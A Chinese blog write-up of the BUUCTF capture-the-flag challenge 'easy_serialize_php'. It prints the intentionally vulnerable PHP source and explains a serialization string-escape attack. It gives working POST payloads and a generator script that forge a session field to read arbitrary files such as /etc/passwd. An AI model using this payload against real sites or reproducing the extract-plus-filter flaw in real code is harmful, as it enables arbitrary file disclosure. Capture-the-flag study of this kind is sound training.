BUUCTF [安洵杯 2019]easy_serialize_php 1 详细讲解

题目来自buuctf,这是一题关于php序列化逃逸的题

1. 题目

题目给出的代码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

2. 分析

在这里插入图片描述

extract($_POST);   # 导入变量

$_SESSION['img'] = base64_encode('guest_img.png');  # 改变SESSION[img]=一个固定值

$serialize_info = filter(serialize($_SESSION));  # 序列化SESSION + 过滤,这里造成逃逸

$userinfo = unserialize($serialize_info);   # 反序列化

echo file_get_contents(base64_decode($userinfo['img']));   # base64解码并读取内容

可以看出是通过$_SESSION['img']来读取文件

extract可以将数组中的变量导入当前变量表

也就是说我们可以伪造$_SESSION 数组中的所有数据

_SESSION[user]=123&_SESSION[function]=456

因为extract是在

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

这两条语句后调用的,所有会覆盖里面的变量,但是后面的 $_SESSION[‘img’]覆盖不了
所以我们需要利用filter函数
他将一些关键字进行了置空,也就是从这里发生的逃逸

3. 构造参数

如果你对php序列化的格式不了解,那么你需要先学习一下,这里我粗略讲一下

echo serialize(["a"=>"b","c"=>"d"]);

a:2:{s:1:"a";s:1:"b";s:1:"c";s:1:"d";}

比如序列化一个列表
上面第一个字符 a 表示array(数组)
每个字段由:分隔,后面的2表示这个列表的大小为2
{}里面的内容就是数组的内容了,数组包含键值
s代表字符串,后面1表示这个字符串长度为1,"a"就是它的内容了
;表示结束,里面4个字符串,也就是两对键值对

既然filter能将内容制空,那我们可以做出以下利用

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}

我们传递的post参数最终会变成这样

"a:3:{s:1:"a";s:55:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"exp";s:40:";s:3:"img";s:12:"d2xiIGlzIG5i";i:0;i:1;}";}"

我们传递的_SESSION[a]在序列化后会全部被置空,但是!我们的字符串长度还在,就会造成后面的内容被当成字符串
构造只够长的字符串长度,将_SESSION[img]里面的内容掠过,一直覆盖到我们_SESSION[exp]中的内容
可以看出,_SESSION[exp]里面有一个伪造的img内容,通过这种方式,就可以构造任意的_SESSION[img]字段,读取任意文件

后面 的i:0;i:1, i代表数字,0代表键,就是0,值也是数字,值为1,索引为0,值为1

echo serialize([1]);

a:1:{i:0;i:1;}

因为我们覆盖了一个键值对,所以我们需要补充回去,遇到}时就停止检测了,即使后面还有字符串

这里写了个脚本,使用 php 脚本.php即可执行

<?php
$e = "/etc/passwd";    # 这里填写需要读取的文件
$e = base64_encode($e);
echo '_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=';
echo ';s:3:"img";s:'.strlen($e).':"'.$e.'";i:0;i:1;}';

这里传递 phpinfo 这个值可以执行phpinfo()查看php信息
在这里插入图片描述
可以看到一个文件 d0g3_f1ag.php 通过读取这个文件拿到flag

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;}

在这里插入图片描述

再读取 /d0g3_fllllllag 文件

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}

在这里插入图片描述
拿下flag

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值